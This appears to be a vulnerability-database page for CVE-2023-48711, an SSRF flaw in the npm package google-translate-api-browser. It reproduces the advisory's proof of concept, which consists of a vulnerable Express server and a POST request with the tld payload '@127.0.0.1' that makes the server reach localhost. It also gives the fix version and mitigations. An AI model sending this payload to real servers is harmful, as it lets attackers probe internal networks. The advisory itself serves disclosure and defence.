CVE-2023-48711 is a low-severity (CVSS 3.7) Server-Side Request Forgery (SSRF) vulnerability in google-translate-api-browser. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for google-translate-api-browser — see the affected versions and patch details below.
Server-Side Request Forgery (SSRF) Vulnerability in google-translate-api-browser
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
google-translate-api-browsernpmDescription
Summary
A Server-Side Request Forgery (SSRF) Vulnerability is present in applications utilizing the google-translate-api-browser package and exposing the translateOptions to the end user. An attacker can set a malicious tld, causing the application to return unsafe URLs pointing towards local resources.
Details
The translateOptions.tld field is not properly sanitized before being placed in the Google translate URL. This can allow an attacker with control over the translateOptions to set the tld to a payload such as @127.0.0.1. This causes the full URL to become https://[email protected]/..., where translate.google. is the username used to connect to localhost.
PoC
Imagine a server running the following code (closely mimicking the code present in the package's README):
const express = require('express');
const { generateRequestUrl, normaliseResponse } = require('google-translate-api-browser');
const https = require('https');
const app = express();
app.use(express.json());
app.post('/translate', async (req, res) => {
const { text, options } = req.body;
const url = generateRequestUrl(text, options);
https.get(url, (resp) => {
let data = '';
resp.on('data', (chunk) => {
data += chunk;
});
resp.on('end', () => {
res.json(normaliseResponse(JSON.parse(data)));
});
}).on("error", (err) => {
console.log("Error: " + err.message);
});
});
const port = 3000;
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
An attacker can then send the following POST request to /translate:
POST /translate HTTP/1.1
Host: localhost:3000
Content-Type: application/json
Content-Length: 51
{"text":"Hello","options": {"tld": "@127.0.0.1"} }
This will cause a request to be sent to the localhost of the server running the Node application.
Impact
An attacker can send requests within internal networks and the local host. Should any HTTPS application be present on the internal network with a vulnerability exploitable via a GET call, then it would be possible to exploit this using this vulnerability.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | google-translate-api-browser | all versions | 4.1.0npm install google-translate-api-browser@4.1.0 |
Affected Products
google translate api browsercjvnjdeResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for google-translate-api-browser, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update google-translate-api-browser to 4.1.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-48711 is resolved across your whole dependency graph.
Workarounds
Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.
Frequently Asked Questions
Is CVE-2023-48711 in your dependencies?
Find it across npm, including transitive dependencies.